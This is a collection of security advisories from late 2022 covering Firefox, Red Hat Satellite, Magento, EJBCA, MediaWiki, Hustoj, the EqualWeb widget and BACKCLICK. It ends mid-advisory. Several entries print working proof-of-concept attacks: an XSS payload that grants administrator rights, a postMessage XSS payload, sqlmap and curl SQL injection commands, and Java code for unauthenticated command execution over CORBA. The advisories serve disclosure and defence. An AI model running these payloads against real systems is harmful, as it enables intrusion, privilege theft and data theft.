Debian Linux Security Advisory 5282-1 - Multiple security issues have been found in the Mozilla Firefox web browser, which could potentially result in the execution of arbitrary code, information disclosure, spoofing or bypass of the SameSite cookie policy.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5282-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffNovember 16, 2022                     https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : firefox-esrCVE ID         : CVE-2022-45403 CVE-2022-45404 CVE-2022-45405 CVE-2022-45406                 CVE-2022-45408 CVE-2022-45409 CVE-2022-45410 CVE-2022-45411                 CVE-2022-45412 CVE-2022-45416 CVE-2022-45418 CVE-2022-45420                 CVE-2022-45421Multiple security issues have been found in the Mozilla Firefox webbrowser, which could potentially result in the execution of arbitrarycode, information disclosure, spoofing or bypass of the SameSite cookiepolicy.For the stable distribution (bullseye), these problems have been fixed inversion 102.5.0esr-1~deb11u1.We recommend that you upgrade your firefox-esr packages.For the detailed security status of firefox-esr please refer toits security tracker page at:https://security-tracker.debian.org/tracker/firefox-esrFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmN1MS0ACgkQEMKTtsN8TjbLmBAAvNyETXc0dcwyCQIi/l6KVCLVwzQ8na8zSbrZZGzhebA7WKqeryy8O4f/8qv/chi7chHIlSY9aHkw65fDklAIkKomXUi+E58yvuSa1/DyYBGpQMoWrzHE4hAqs+VuZ/FwY/QiNeOXo0q44PuT/cjBY9LEUciJSywEK/YI0fPDG+F1VbaCK0EOvw7Zxi+VxVCkN6UIF7g0Rr3eibTWKgZi/EHrMgtA4UYg5ml6INVo306azZlDtTfZHympU48OKweMBEWpk0/f6rHmpTuWPWsuzLlpECeBRj4OdJOjmnjprhKJxE4KhHCJkYfVOLBh0SPjIM8k6bgzgXhD3Lc62xE2mqfDHYkIhMtm60r9GZbJzlEht8qeYLtlibfpm+IGx/RJDeuQJTv5jzsXto/lY4zThl/++E/30ecH7ynqj1R3394BAd9rW2O2rWcrWyas8Wa5Qpt7R+/OULq0OEAflT9m4HY3unflxIvmyTSINjryyKFe5Ns4uWB3E5sDBcnV4hqY/NOkUBVaZEhqmL9bvMvtviwj0eDzJBqVgOUxcy+IiT6aCCC4Dnr/CH3Odv7KHHpexKIIT80/uPNZPv2d5nNZXW5JO4ycD7lrZktjCOmXBHkJ2UJiQ3EiGJF6POIOInrEikwV7DqY1ix4uKbvl42xrsa7rZUYHWylFOS9gnFcJOk=5Vwd-----END PGP SIGNATURE-----

Debian Security Advisory 5282-1

Red Hat Security Advisory 2022-8506-01 - Red Hat Satellite is a systems management tool for Linux-based infrastructure. It allows for provisioning, remote management, and monitoring of multiple Linux deployments with a single centralized tool. Issues addressed include code execution, cross site scripting, denial of service, remote SQL injection, and traversal vulnerabilities.

Red Hat Security Advisory 2022-8506-01

The Preview functionality in the Amasty Blog Pro 2.10.3 plugin for Magento 2 uses eval unsafely. This allows attackers to perform Cross-site Scripting attacks on admin panel users by manipulating the generated preview application response.

**CVE-2022-36432**

Cross-site Scripting (XSS) in Preview functionality in Amasty Blog Pro for Magento 2

**Description**

The Preview functionality in the Amasty Blog Pro 2.10.3 plugin for Magento 2 uses eval unsafely. This allows attackers to perform Cross-site Scripting attacks on admin panel users by manipulating the generated preview application response.

The vulnerability is present in blog/view/base/web/js/adminhtml/preview.js file.

In references you can find a similar issue in Magento 2 in which they fixed the problem.

**Affected versions**

< 2.10.5

**Advisory**

Update Amasty Blog Pro for Magento 2 to 2.10.5 or newer.

**References**

*   magento/magento2#377
*   https://amasty.com/blog-pro-for-magento-2.html

CVE-2022-36432: GitHub - afine-com/CVE-2022-36432: Cross-site Scripting (XSS) in Preview functionality in Amasty Blog Pro for Magento 2

A stored XSS vulnerability was discovered in adminweb/ra/viewendentity.jsp in PrimeKey EJBCA through 7.9.0.2. A low-privilege user can store JavaScript in order to exploit a higher-privilege user.

Loading

×Sorry to interrupt

CSS Error

Refresh

CVE-2022-39834: Keyfactor Support

The ScratchLogin extension through 1.1 for MediaWiki does not escape verification failure messages, which allows users with administrator privileges to perform cross-site scripting (XSS).

<?php use Wikimedia\\Timestamp\\ConvertibleTimestamp; define('USER\_API\_LINK', 'https://api.scratch.mit.edu/users/%s/'); function getAuthenticator() { global $wgScratchLoginAuthenticator; switch ($wgScratchLoginAuthenticator) { case 'cloud': { return ScratchLogin\\Authenticator\\CloudVariableAuthenticator::class; } default: { return ScratchLogin\\Authenticator\\ProjectCommentAuthenticator::class; } } } function getScratchUserRegisteredAt($username) { $apiText = file\_get\_contents(sprintf( USER\_API\_LINK, $username )); //fail loudly if the API call fails if (!isset($http\_response\_header)) { throw new Exception('API call failed'); } //this shouldn't happen, but since this is a security-sensitive component we need to be ultra-defensive if (!strstr($http\_response\_header\[0\], '200 OK')) { throw new Exception('User does not exist'); } $info = json\_decode($apiText, true); $registeredAt = $info\['history'\]\['joined'\]; return new ConvertibleTimestamp($registeredAt); } class ScratchSpecialPage extends SpecialPage { function execute($par) { $request = $this\->getRequest(); $out = $this\->getOutput(); $out\->disallowUserJs(); $this\->setHeaders(); $this\->checkReadOnly(); if ($par == 'reset') { $this\->resetCode( $out, $request ); } else if ($request\->wasPosted()) { $this\->onPost( $out, $request ); } else { $this\->showForm( $out, $request ); } } // show an error followed by the login form again function showError($error, $out, $request) { $out\->addHTML(Html::rawElement('p', \[ 'class' => 'error' \], $error)); $this\->showForm($out, $request); } // $instructions: message key giving instructions for this page // $action: message key for button value function verifForm($out, $request, $instructions, $action) { $authenticator = getAuthenticator(); // this all takes place in a form $out\->addHTML(Html::openElement( 'form', \[ 'method' => 'POST' \] )); $session = $request\->getSession(); $out\->addHTML($authenticator::getInstructions( $instructions, $session, $this )->inContentLanguage()->parseAsBlock()); // show the submit button $out\->addHTML(Html::rawElement( 'input', \[ 'type' => 'submit', 'id' => 'mw-scratchlogin-form-submit', 'value' => wfMessage($action)->inContentLanguage()->plain() \] )); //close the form $out\->addHTML(Html::closeElement( 'form' )); } function verifSucceeded($out, $request) { $session = $request\->getSession(); $authenticator = getAuthenticator(); $username = $authenticator::getAssociatedUsername($session, $this); if ($username == null) { $this\->showError( $authenticator::getMissingMsg($this) ->inContentLanguage()->plain(), $out, $request ); return null; } // now attempt to retrieve the MediaWiki user // associated with whoever commented the verification code $user = User::newFromName($username); // ...if that user does not exist, then show an error // that this account does not exist on the wiki if ($user\->getId() == 0) { $this\->showError( wfMessage('scratchlogin-unregistered', $username) ->inContentLanguage()->parse(), $out, $request ); return null; } try { $wikiUserTimestamp = new ConvertibleTimestamp($user\->getRegistration()); $scratchUserTimestamp = getScratchUserRegisteredAt($username); $diff = $scratchUserTimestamp\->diff($wikiUserTimestamp); if ($diff\->invert) { // Scratch user registered after wiki user. // To prevent disaster, make it error. $this\->showError( wfMessage('scratchlogin-account-age-error', $username) ->inContentLanguage()->parse(), $out, $request ); return null; } } catch (Exception $e) { //in the event of any failure, do NOT allow the login attempt to continue $this\->showError(wfMessage('scratchlogin-api-failure')->inContentLanguage()->parse(), $out, $request); return null; } // clear the verification code in the session so that they have to // use a different code to login as a different user $authenticator::clearAuthCode($session); return $user; } // reset the code associated with the current user's session function doCodeReset($out, $request, $returnto) { $session = $request\->getSession(); $authenticator = getAuthenticator(); $authenticator::clearAuthCode($session); $out\->addWikiMsg('scratchlogin-code-reset', $returnto); } }

CVE-2022-42985: mediawiki-scratch-login/ScratchLogin.common.php at 4d2c1229b558b9cd685961274f20b621d114f4db · InternationalScratchWiki/mediawiki-scratch-login

Hustoj 22.09.22 has a XSS Vulnerability in /admin/problem_judge.php.

**描述问题**  
XSS Vulnerability exists in  

echo $row\['input\_text'\]."\\n";

  
**如何复现**  
Steps to reproduce the behavior:

1.  POST text with xss script to submit.php  
    for example:

id=-1000&language=1&source=asdasdasdasdasd&input\_text=<script src\="/template/bs3/jquery.min.js"\></script\><script\>$.get("/admin/privilege\_add.php").done(function(data){
    re\=/name="postkey" value="(\[\\w\]%2B?)"/g;
    $.post("/admin/privilege\_add.php",{"postkey":re.exec(data)\[1\],"user\_id":"username","rightstr":"administrator","valuestr":"true"
                                  ,"do":"do","do":"do","csrf":"tV8EG8W5AsFY0JCKoBStoHC2v30NrDe5"}).done(function (data) {console.log(data)})
})
</script\>

Then you can get a sid.  

2.  Send malicious links to administrators  
    example:

<body\>
<script type\="text/javascript"\>
    function post(URL, PARAMS) {
    var temp \= document.createElement("form");
    temp.action \= URL;
    temp.method \= "post";
    temp.style.display \= "none";
    for (var x in PARAMS) {
        var opt \= document.createElement("textarea");
        opt.name \= x;
        opt.value \= PARAMS\[x\];
        temp.appendChild(opt);
    }
    document.body.appendChild(temp);
    temp.submit();
    return temp;
}
post("http://192.168.0.25:8080/admin/problem\_judge.php",{"sid":"1018","pid":"1000","result":"4","time":"500","memory":"1024","sim":"100","simid":"0","filename":"1000%2Ftest.in","gettestdatalist":"do","getcustominput":"1"})

</script\>
</body\>

CVE-2022-42187: XSS Vulnerability in /admin/problem_judge.php · Issue #866 · zhblue/hustoj

EqualWeb Accessibility Widget 2.0.0, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.1.10, 3.0.0, 3.0.1, 3.0.2, 4.0.0, and 4.0.1 allows DOM XSS due to improper validation of message events to accessibility.js.

The Americans with Disabilities Act (ADA) includes requirements on companies falling within its scope to ensure their websites are accessible to individuals with disabilities. These requirements have created a strong incentive for companies to use third-party solutions in the form of JavaScript libraries to make their websites accessible. However, using third-party solutions comes with its own risks.

Recently, Imperva’s vulnerability research team uncovered a DOM XSS vulnerability in certain versions of a popular accessibility widget by EqualWeb. We would like to emphasize that we did not find this vulnerability in the latest version of EqualWeb’s accessibility widget and only found the vulnerability in older versions that are specified at the end of this post.

**Successful exploitation of this vulnerability could allow malicious actors to impersonate a user and take over a user’s account, perform any action on behalf of the user and or steal sensitive information such as cookies and session tokens.**

According to the EqualWeb website, the EqualWeb accessibility widget is being used by many popular companies and websites such as IronSource, Fiverr, Gett, Bosh, Playtika, Zara, YOT PO and AVIS, as well as financial institutions and public sector and nonprofit entities.

In this post, we will go over the vulnerability, explain how it was detected and what you can do to manage your third-party risks better.

****What is DOM-based XSS?****

DOM-based XSS vulnerabilities occur when JavaScript uses data from an attacker-controllable source, such as the URL or untrusted message event, and passes it to a method or an API that supports dynamic code execution, such as innerHTML or eval.

DOM-based XSS vulnerabilities are notoriously hard to detect and prevent because they involve the manipulation of the Document Object Model (DOM) rather than the source code of the application. The attacker’s input may not be reflected in the source code, and may only be triggered under certain externally-controllable circumstances, such as post-message events.

****Identifying the threat****

One of the most common recommendations regarding XSS prevention is to sanitize user input. With that said, some user inputs are harder to spot, which makes them the perfect place to hunt for vulnerabilities.

One of the most overlooked input sources is the browser post-message API.

The post-message API allows for cross-origin communication. This means that a malicious script on one domain can send messages to a script on another domain. These messages can be used to bypass restrictions that the browser has in place to prevent cross-origin communication.

If a website does not properly validate and sanitize messages that are received through the post-message API, it is sometimes possible for an attacker to inject malicious code into the website. This code can then be executed by the website, leading to a range of potential consequences, such as the theft of sensitive information or the execution of unwanted actions on behalf of the user.

****Understanding the post-message API****

To identify whether a website can be exploited using the post-message API, we need to understand how it works. The post-message API uses the browser’s “message” event. This event is fired when a message is received by a window or a frame. The message event has two properties that are relevant to us:

– **data**: The message that was sent

– **origin**: The origin of the message

To receive messages, the website needs to register an event listener for the message event, which looks something like this:

window.addEventListener('message', function(event) {
document.body.innerHTML = event.data;
});

Once the site registered the event listener, it will start receiving messages. These messages can be sent by other scripts on the same domain or by scripts on other domains. If we want to send a message, we can use the postMessage function. This function takes two arguments:

– **data**: The message that will be sent

– **targetOrigin**: The origin of the window or frame that will receive the message

The following code demonstrates how to send a message:

var target = window.open(“https://example.com”);
target.postMessage(“Hello”, “https://example.com”);

This message will result in the word “Hello” being written to the screen.

However, as you probably noticed, our event listener has 2 main security issues.

1.  We do not validate the message origin, which means any website can send messages to our event listener which could lead to some unintended consequences.
2.  We write unsanitized input to the website DOM by setting the document.body.innerHTML property.

****Exploring “message” event handlers on any site****

A quick way to find “message” event listeners on any website is to use the “getEventListeners” method from the devtools console; this method returns event listeners of the given object.

We can simply give it the window object, and look for “message” event listeners like so:

getEventListeners(window)
.message.map(e => e.listener)
.map(console.log);

The code above will go over each event listener and print it to the console, you can now click on each listener from the console to jump to the method definition.

****The vulnerability****

The EqualWeb widget registered a few “message” event listeners, none of which checks if a message was sent from an allowed source. This means any cross-origin site can send messages to those listeners.

While reading each message event listener, the following code was discovered.

window.addEventListener("message", function(i) {
       try {
           const n = e.a11y.GetMsgData(i.data);
           let s = document.querySelectorAll(\`iframe\[src\]:not(\[src^="javascript"\])\`);
           e.isIframe && !s || !n || "isNagichOnTop" !== n.INDmessage || t(s, "isNagichOnTop"),
           "getIndModes" === n.INDmessage && t(s, e.mode),
           (e.a11y.validMethods\[n.optName\] &&
               e.a11y.validMethods\[n.optName\] == n.method ||
               "INDactivate" === n.INDmessage ||
               "INDactivate" === n.command) && e.LoadData((function() {
                   var t = e\[n.method\];
                   "function" == typeof t && t(n.data ? n : n.optName)
               }
           ))
       } catch (e) {
           this.INDLog(e, "err")
       }
}

As you can see we have a lot of elaborate checks before reaching what seems to be an interesting piece of code. We started by checking if exploitation is even possible under the best-case scenario. So for now, we are ignoring all the other checks and just focusing on the highlighted section.

The variable “n” holds our message payload, and as you can see, it is used to access a property of the variable “e”, the code then checks that the property is a function and execute it with “n” or “n.optName” as the first argument which is also under our control.

This looks promising, but it all comes down to what methods are there in the “e” variable. Let’s take a look, we wrote this short script to only show the methods in the “e” variable that receives at least one argument.

for (let key in e){
   if (typeof e\[key\] !== "function"){ continue; }
   if (e\[key\].toString().indexOf('function()') === 0){ continue; }
   console.log(key,e\[key\]);
}

After doing that we had 83 methods to review, after going through about 20 we found the one. The _getBlock_ method.

e.getBlock = function(e) {
   let t = $IND(e).parents(".INDblock");
   return $IND(t\[t.length - 1\]).data("INDblock")
}

This method takes one argument “e” and passes it to $IND which turns out to be  jQuery, which is very helpful since jQuery selector evaluates HTML tags automatically leading to XSS.

Now that we know exploitation is possible, let’s check if we can reach the vulnerable code.

(e.a11y.validMethods\[n.optName\] &&
               e.a11y.validMethods\[n.optName\] == n.method ||
               "INDactivate" === n.INDmessage ||
               "INDactivate" === n.command)

The conditions above have to evaluate to true for the vulnerable code to be reached. At first glance it seems n.optName is checked against an allow list, optName is required for our exploit to work. However, when looking closer, the condition itself seems to ignore all of that  if _n.INDmessage_ or _n.command_ is equal to _“INDactivate”_.

Let’s test it. We pasted the following code in the devtools console, where a vulnerable version of the EqualWeb Javascript code is running.

postMessage(JSON.stringify({"command": "INDactivate", "method": "getBlock", "optName": "<img src='ftp:' onerror=alert(1) >"}))

A few seconds later an alert message appears. To make sure the attack is feasible, w We then confirm messages can be sent from a different domain.

****Third-party risk management****

As reflected above, companies should be aware of the risks associated with using third-party solutions.

Third-party risk management is the process of identifying, assessing, and mitigating risks associated with using third-party products and services.

As part of third-party risk management, companies should:  
– Identify all the third-party products and services they are using  
– Assess the risks associated with each third-party product and service  
– Mitigate the risks by implementing security controls  
– Continuously monitor the third-party products and services for risks

**Imperva’s Client-Side Protection** can help companies mitigate the risks associated with using third-party products and services by continuously monitoring all JavaScript services and only allowing pre-approved services to execute. This means that any new JavaScript services or changes are blocked until authorized, and if any JavaScript code is poisoned/exploited and attempts to send data elsewhere, your security team will be the first to know.

****Just-in-time widgets****

Almost all third-party libraries/widgets execute by default for all visitors; in some cases, this is necessary, for example when collecting analytics. However, it’s not clear why widgets for things like accessibility or chat have to be loaded for all visitors.

In general, most of your visitors would not use the chat/accessibility widgets while using the site. With a few lines of code, any developer can make it so that only once the user interacts with the floating chat/accessibility widget the library code will be executed.

It may be a bit slower for the site visitors who choose to use the widget, but from a security point of view, your site attack surface is greatly reduced. If we take the EqualWeb case as an example, sites that utilize this approach would render this attack almost useless since users would have to use the widget before the vulnerability could be exploited.

**We recommend that when possible, providers should implement this kind of architecture by default.**

****IOCs****

**Vulnerable EqualWeb Accessibility widget versions:**

*   2.0.0
*   2.0.1
*   2.0.2
*   2.0.3
*   2.0.4
*   2.1.10
*   3.0.0
*   3.0.1
*   3.0.2
*   4.0.0
*   4.0.1

Please note, while it is possible other versions of the widget include the DOM XSS vulnerability, those versions listed above were the only ones we confirmed to be vulnerable. Versions above 4.0.1 and the latest version seem to be unaffected.

**Hostnames:**  

*   aacdn.nagich.com
*   js.nagich.co.il
*   cdn.equalweb.com
*   cdn.uirix.com

**Try Imperva for Free**

Protect your business for 30 days on Imperva.

Start Now

CVE-2022-42960: New Vulnerability in Popular Widget Shows Risks of Third-Party Code | Imperva

An issue was discovered in BACKCLICK Professional 5.9.63. Due to insufficient escaping of user-supplied input, the application is vulnerable to SQL injection at various locations.

\-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ﻿Advisory ID: SYSS-2022-029 Product: BACKCLICK Manufacturer: BACKCLICK GmbH Tested Version(s): BACKCLICK Professional 5.9.63 (On-Premises) Vulnerability Type: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (CWE-89) Risk Level: High Solution Status: Unknown Manufacturer Notification: 2022-05-25 Public Disclosure: 2022-11-14 CVE Reference: CVE-2022-44003 Author of Advisory: Jannik Vieten, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: BACKCLICK is a web application used for e-mail marketing and the creation of newsletters. The German manufacturer describes the product as follows (see \[1\]): "BACKCLICK ist eine webbasierte Enterprise E-Mail Marketing Lösung und Newsletter Software, mit der Sie online E-Mail Kampagnen und Newsletter erstellen und an Ihre Kunden versenden können." Due to insufficient escaping of user-supplied input, the application is vulnerable to SQL injection at various locations. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: When SQL queries are constructed, user-controlled parameters are inserted in an insecure manner. Attackers can exploit this by injecting SQL syntax into parameters to influence the query executed by the database. This can be utilized to retrieve all data stored within the database. The vulnerability exists at various locations within the application. This indicates a structural or architectural problem of BACKCLICK's construction of SQL queries. Confer the "Proof of Concept" section below for exemplary incarnations of the issue. In order to prevent such vulnerabilities, user-controlled parameters must be considered potentially malicious. When constructing database queries, parameters need to be inserted securely in order to render injected SQL syntax harmless. The use of prepared statements with parameterized queries is a method that can be used to accomplish this (see \[4\]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following examples show locations where SQL injection was possible. This list is not intended to be exhaustive. The search function within the management interface at "Abonnenten - Verwaltung" > "Test-Verteiler" can be exploited using the tool sqlmap (see \[5\]): sqlmap.py --cookie JSESSIONID=\[...session id...\] -u 'https://example.com/bc/servlet/gui.bc\_rob\_positiv?idx=1&action=1&min=0&PATTERN=\*&HPS=50' --dbms mysql --level 5 --risk 3 A similar vulnerability is also exploitable by unauthenticated remote attackers. Here, the payload for a UNION-based injection is within a base64-encoded URL parameter: curl -k -i 'https://example.com/bc/servlet/web.announcements?dHlwZT0wJm1pZD0wJmxheW91dD0xJmlkPWEnIEFORCAxPTAgVU5JT04gU0VMRUNUIChTRUxFQ1Qgc3Vic2NyaWJlcl9lbWFpbCBGUk9NIHN1YnNjcmliZXJzIExJTUlUIDEpLCAxIC0tICZwcmV2aWV3PTE;1;1;' This corresponds with the following UNION-based injection: type=0&mid=0&layout=1&id=a' AND 1=0 UNION SELECT (SELECT subscriber\_email FROM subscribers LIMIT 1), 1 -- &preview=1 The server's response contains the extracted data (here: an e-mail address) in the "Location" header of the HTTP response: HTTP/1.1 500 500 Date: Wed, 11 May 2022 13:46:11 GMT Server: Apache/2.4.41 (Ubuntu) Set-Cookie: JSESSIONID=...; Path=/bc; Secure; HttpOnly Location: jane.doe@example.org&bc1=1&bc2=1 Content-Length: 1181 Connection: close Content-Type: text/html;charset=UTF-8 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Contact vendor for solution. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-05-25: Vulnerabilities reported to manufacturer 2022-06-28: Advisories provided again, as originals were not received 2022-07-20: Confirmation, inquiry regarding reproduction of one issue 2022-11-14: No more information received, public disclosure of vulnerabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: \[1\] Product website for BACKCLICK https://www.backclick.de/ \[2\] SySS Security Advisory SYSS-2022-029 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-029.txt \[3\] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy \[4\] OWASP SQL Injection Prevention Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/SQL\_Injection\_Prevention\_Cheat\_Sheet.html \[5\] Automatic SQL injection and database takeover tool https://github.com/sqlmapproject/sqlmap ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Jannik Vieten of SySS GmbH. E-Mail: jannik.vieten@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Jannik\_Vieten.asc Key ID: 0xC3366ECBE2C70C423ECFC123858221C952002FFB Key Fingerprint: C336 6ECB E2C7 0C42 3ECF C123 8582 21C9 5200 2FFB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEwzZuy+LHDEI+z8EjhYIhyVIAL/sFAmNk1xQACgkQhYIhyVIA L/saYQ/+LM3NsGrRo+ohC5YmL4oRY+oLXas6gXpRV6ltKPhQK64ErCtXAFQric/C q/7t7fP1tzm1LJzRV3Xf9F1OvLiRlE6ItQZeU75uTdBF/JwUl/Hqm5baCZTcbuH8 oQFw2pAVxSbphrlW9OdeiTsr5P4jVcb3MUQWhBiUq7aofr/vrHIBuBU4iP1ehz6A +6aDAdTqNmDmRTBVOoLQYuMccel4EGvUgTeFvcNCjSWhhhuEB9MCmNEHXDrUl9yi gDHzHKtIurpt2FWabc2flblL8IRLAP7z6QG4/kMPTbfuK0YUOISfO++4+UHMOUQ2 92/AMbZESMe0O26rHbnXNdygVR/FMQRFINurMcuLbb0gJtEqJXnpFJGCZ9ByeFRJ syNrjpdgaV1JwqQuJR9MBM4Fgo8rseFSQQVIGVaVMZOXkzDrFBJZMgxxpqGWx8jL HMcnmhVTEdsz6qjAHNT+hJZ8WWwJksO4RPgtpPB6lF1suaWHn7ZWzN4dUKe7DErt 6fEXFSkf1t3H8vVJLSSihyJwxO+hyVOHVBKN6NZaO/NMTLMZ+mzJjGFsC7wujrEP SziBzPxvelWKfJVKLUsbWHVr66g8T73wUVfJwNkS8ExFqUQ5HWZCOOL0nTgESPL8 vaZxzWhcPnCc9oVq6I8TuurSDQ8w3Vh2UzK3SGx+Wh5CPJy5EaU= =/w+N -----END PGP SIGNATURE-----

CVE-2022-44003

An issue was discovered in BACKCLICK Professional 5.9.63. Due to exposed CORBA management services, arbitrary system commands can be executed on the server.

\-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ﻿Advisory ID: SYSS-2022-034 Product: BACKCLICK Manufacturer: BACKCLICK GmbH Tested Version(s): BACKCLICK Professional 5.9.63 (On-Premises) Vulnerability Type: CWE-306: Missing Authentication for Critical Function Risk Level: High Solution Status: Unknown Manufacturer Notification: 2022-05-25 Public Disclosure: 2022-11-14 CVE Reference: CVE-2022-43999 Author of Advisory: Moritz Bechler, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: BACKCLICK is a web application used for e-mail marketing and the creation of newsletters. The German manufacturer describes the product as follows (see \[1\]): "BACKCLICK ist eine webbasierte Enterprise E-Mail Marketing Lösung und Newsletter Software, mit der Sie online E-Mail Kampagnen und Newsletter erstellen und an Ihre Kunden versenden können." Due to exposed CORBA management services, arbitrary system commands can be executed on the server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: Alongside the CORBA services internally used by the application, an implementation repository (IMR) service is exposed on port 65501. The initial object reference (IOR) required to address the service is predictable. That service allows dynamic activation of additional servers without authentication. An arbitrary system command can be specified for the server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The following Java exploit code uses the JacORB client library to invoke the IMR service, register and start a new server instance. The command line to be invoked can be specified. - ----- System.setProperty("org.omg.CORBA.ORBClass", "org.jacorb.orb.ORB"); System.setProperty("org.omg.CORBA.ORBSingletonClass", "org.jacorb.orb.ORBSingleton"); if ( args.length < 3 ) { System.out.println("ExploitJacorbIOR \[ \[\]\]"); return; } String ip = args\[0\]; short port = (short) Integer.parseInt(args\[1\]); StringBuilder cmd = new StringBuilder(args\[2\]); for ( int i = 3; i < args.length; i++ ) { cmd.append(' '); cmd.append(args\[i\]); } // sane defaults String host = "localhost"; String key = "the\_ImR/ImRPOA/ImR"; org.omg.CORBA.ORB orb = org.omg.CORBA.ORB.init(new String\[0\], null); // create suitable IOR IOR ior = new IOR(); ior.type\_id = "IDL:org/jacorb/imr/ImplementationRepository:1.0"; CDROutputStream cds = (CDROutputStream) orb.create\_output\_stream(); cds.beginEncapsulatedArray(); ProfileBody\_1\_1 body = new ProfileBody\_1\_1(); body.iiop\_version = new Version((byte)1,(byte)2); body.host = ip; body.port = (short)port; body.object\_key = key.getBytes(StandardCharsets.UTF\_8); body.components = new TaggedComponent\[0\]; ProfileBody\_1\_1Helper.write (cds, body); ior.profiles = new TaggedProfile\[\] { new TaggedProfile(TAG\_INTERNET\_IOP.value, cds.getBufferCopy()) }; String createdIOR = new ParsedIOR( (org.jacorb.orb.ORB)orb, ior).getIORString(); // dereference IOR Properties props = new Properties(); props.setProperty("ORBInitRef.ImplementationRepository", createdIOR); props.setProperty("jacorb.use\_imr", "on"); orb = org.omg.CORBA.ORB.init((String\[\])args, props); Admin admin = AdminHelper.narrow(orb.resolve\_initial\_references("ImplementationRepository")); // use service to register and start server HostInfo\[\] hosts = admin.list\_hosts(); if ( hosts.length > 0 ) { host = hosts\[0\].name; } try { ServerInfo i = null; try { i = admin.get\_server\_info("Exploit"); } catch( UnknownServerName e) {} if ( i != null ) { admin.unregister\_server("Exploit"); } admin.register\_server("Exploit", cmd.toString(), host); } catch ( Exception e ) { e.printStackTrace(); } admin.start\_server("Exploit"); admin.unregister\_server("Exploit"); - ---- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Contact vendor for solution. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2022-05-25: Vulnerabilities reported to manufacturer 2022-06-28: Advisories provided again, as originals were not received 2022-07-20: Confirmation, inquiry regarding reproduction of one issue 2022-11-14: No more information received, public disclosure of vulnerabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: \[1\] Product website for BACKCLICK https://www.backclick.de/ \[2\] SySS Security Advisory SYSS-2022-034 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-034.txt \[3\] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Bechler of SySS GmbH. E-Mail: moritz.bechler@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz\_Bechler.asc Key ID: 0x768EFE2BB3E53DDA Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5 3DDA ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: 